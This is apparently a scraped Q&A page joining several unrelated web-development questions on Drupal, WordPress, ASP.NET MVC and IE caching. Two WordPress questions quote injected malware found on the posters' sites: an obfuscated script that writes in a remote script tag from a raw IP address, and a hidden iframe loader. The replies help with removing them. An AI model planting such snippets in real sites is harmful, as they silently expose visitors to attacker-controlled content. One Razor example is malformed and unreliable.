Using Drupal 7 I am adding js using drupal_add_js from within hook_user_login.
After adding the js I can call drupal_get_js() and I can see that my js has been added, but when the page is loading the js has gone.
My code is:
function popups_user_login(&$edit, $account) {
$js = 'some inline js here';
drupal_add_js($js, array('type'=>'inline', 'weight'=>1));
drupal_add_js(drupal_get_path('module', 'popups').'/popups.js', array('weight'=>2));
}
The aim of the module is to create a popup once the user has logged in if certain criteria are met.
There is a similar question on drupal.org just here.
Can anyone tell me what is going on here?
(I've tried this on 2 separate Drupal 7 installs and have experienced the same problem on both sites)
Like Clive said this was due to a redirect happening directly after login.
This can be checked by installing Devel and turning on "Display redirection page" on the Devel settings page.
The solution is to set a session variable in hook_user_login (which in my case contained the nids of the popups I want to display), which can then be read in hook_page_alter and add the necessary JS added at this point.
Related
All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.
I know this question have already been asked. BUT NONE of this,this, this,this,this or this solutions worked for me. I'm only using HTML / CSS / JS for the moment on my website. Later this should run on an apache or IIS server.
Situation :
On my website I wish user to access different servers. I got a html select with a lot of choice. Once they made their choice and click on connection button I check the choice they made and open it (it's a web interface like 127.0.0.1) in a new tab the link.
Problem : Some of the servers should not being accesssed if one is already used.
Example : If 127.0.0.1 is used by someone, no one should access 128.0.0.1 or 129.0.0.1
The solution I found was creating a file when someone access 127.0.0.1. So when someone want to access 128.0.0.1 or 129.0.0.1, I check if the file exists.
If it does exists I don't open the link and show an alert, if it does not exist I create it and open the link in new tab.
Another problem : How can I know when the tab will be closed in order to delete the file ?
Have you got another solution to this problem ?
Thx in advance for helping me, I'm just a beginner in web. No solutions worked for me so far ...
This code help you to detect when user close a tab.
<script>
window.onbeforeunload = function () {
//write your code here
return false;
};
<script>
I browsed my site and noticed scrolling that wasn't there before.
After inspecting I noticed there's an invisible iFrame.
After seeing the iframe in the source page I looked through all my site files and couldn't find the same line of code that was in the source.
I ran my site to look for malware but all is clean. I did have a warning from Google a few months ago but my host removed the malicious files and Google approved the clean up and still does. But now I'm seeing this invisible object with an url.
Source script:
<script language="JavaScript">
if(document.loaded) {
showBrowVer();
} else {
if (window.addEventListener) {
window.addEventListener('load', showBrowVer, false);
} else {
window.attachEvent('onload', showBrowVer);
}
}
function showBrowVer() {
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://24corp-shop.com';
js_kod2.width = '250px';
js_kod2.height = '320px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
</script>
I see it is being brought in by wp_head(); but I looked through it and didn't see anything suspicious.
Does anyone have tips on looking for this injection to manually remove it from my WP site?
Free WP themes/plugins are notorious for using base64_encode to 'hide' malicious or unwanted code in the source. Basically, they store the encoded text in one of the files, and then base64_decode it and render the result as html. I would try greppingsearching for base64_decode in the source to see if it's being done.
wp_head() itself is not being used at this case for spreading the "malign" code that is in your site. That code is elsewhere not on wp_head().
1 - Make a full backup of your current site (database + files)
2 - Deactivate all plugins and see if the malign code still exists.
2 - if the malign code still exists then check your themes folder.on your default theme go to functions.php and search through that file for that code, or base64 encrypted code, eval, includes, etc.
3 - if the malign code, does not exist, after you have deactivated all your plugins then this means that the malign code is on one of those plugins.
Use divide & conquer method to find firstly in which plugin is installed the malign code and after that identify the file that has the malign code.
I had the same problem. Many files were tempered, both in the theme directory and in the core files.
The main one causing the issue (the iframe code was injected right before the tag) was the index.php in root folder.
There was a fake "eAccelerate" code injecting the encoded iframe.
I was able to detect that with WordFence plugin, it gave me the list of tampered files.
I'm investigating how the website got hacked, as I have latest versions of WP and plugins, any idea?
I created an Asp.Net MVC Internet Aplication and in my Index view of the Home Controller I have this
This is the first line, before the script results.
<script type="text/javascript" src="~/Script/Teste.js"></script>
<br />
This line comes after the script.
In my Teste.js I have this:
document.write("Yes! I am now a JavaScript coder!");
But nothing happens. If I change the src attribute and put some random name src="aaaa", despite the fact "aaaa" doesnt exist, I get no error in runtime.
EDIT
Also, check your path again. The default MVC templates in VS create a folder called Scripts, not Script. ("~/Scripts/teste.js")
Per the comment below, this was not the root cause of the issue, but in other cases can easily bite new JavaScript developers.
Most likely, your document.write function is firing before the document is ready, leading to the appearance that nothing is happening. Try the following in your Teste.js file
window.onload = function ()
{
document.write("Yes! I am now a JavaScript coder!");
//or even better as a test
alert("This alert was called");
}
Check the source of your page as well, it could be the document is being written to, you just can't see it due to markup/page styling.
As for you second issue, there will be no 'Runtime Exception' thrown if you reference a non-existent file. If you are using tools like Firebug or Chrome's developer tools, you should see a request to http://siteDomain/Scripts/aaaa.js with a response of 404, not found.
You generally should avoid using document.write() unless you absolutely have to use it for some reason... I don't think I've ever come across such a situation, and write a lot of Javascript.
Try this:
1) Put this in your HTML:
<script src="/scripts/teste.js"></script>
2) Put this in your JS:
alert('Yes! I am now a JavaScript coder!');
3) Open Chrome since it makes it easy to look for external resources loading and open the Network tab in Developer Tools (click the menu button at top-right, Tools > Developer Tools, Network tab).
4) Run your project and copy/paste the URL in the browser that comes up into this Chrome window, and hit enter.
When your page loads one of 2 things will happen:
A) You'll get the alert box you wanted or
B) You'll find out why it isn't loading because the Network tab will show the browser attempting to fetch teste.js and failing in some fashion, for example a 404, which would indicate you've got a typo in the path, or the script isn't where you thought it was, etc.
Put the following line at the very end of your document. There should not be anything after. Then try to load the page.
<script type="text/javascript" src="~/Script/Teste.js"></script>
Also, try pressing F12 once the page loads to see the source. Check if you script is there.
In MVC, the tilde is used to refer to the root URL of your application. However, it cannot normally parse this information. If you write:
<script src="~/Script/Teste.js"></script>
The lookup will fail, because the ~ means nothing special in HTML. If you're using Razor as your view engine (not ASPX), you need to wrap that call in Url.Content like so:
<script src="#Url.Content(~/Script/Teste.js)"></script>
Doing this will ensure a valid URL is provided to the browser.
With that in mind, you need to check that you have the file name and folder name both correct. You also need to ensure that the file is being deployed with your application. You can do this my opening the properties panel while the file is selected in the Solution Explorer and pressing F4.
We have ASP.NET application in which we have used the YUI to generated the popup for user interface. Now when I amd testing the locally isntalled site the popups are comming correctctly withoug any error and also getting displayed correctly on all the browwsers (including IE 7/8/9).
However when the site is exposed on the server and i tried to test it from the outside network the YUI popup's are not getting genrated correclty like if some Javascript or CSS are not getting loaded or are cached. Generally Ctr+F5 does the trick to flush local cache and to fix the issue we have added query parameters xyz.css?v=10 trick. But its not working. Now this issue is showing only on the IE(6/7/8/9) and other browsers are working correctly. To check the issue i again logged into the production box and found that popup is appearing correctly on IE also.
Now i am not having clue how it could possibly happen. Does any one has came across anything like this? What could be the cause of the issue and how to fix it ?
Thanks
As far as I know, IE caches GET responses.
The xyz.css?v=10 trick is used when you want it to use cached CSS but only as long as it is the same version. Whenever you change something in the css you need to change the url (ie xyz.css?v=20).
If you want IE to NEVER use the cached css, you need the URL to look different everytime. you can do that by adding some timestamp to the url.
something like:
xyz.css?v=201201180600123
(201201180600123 is a timestamp)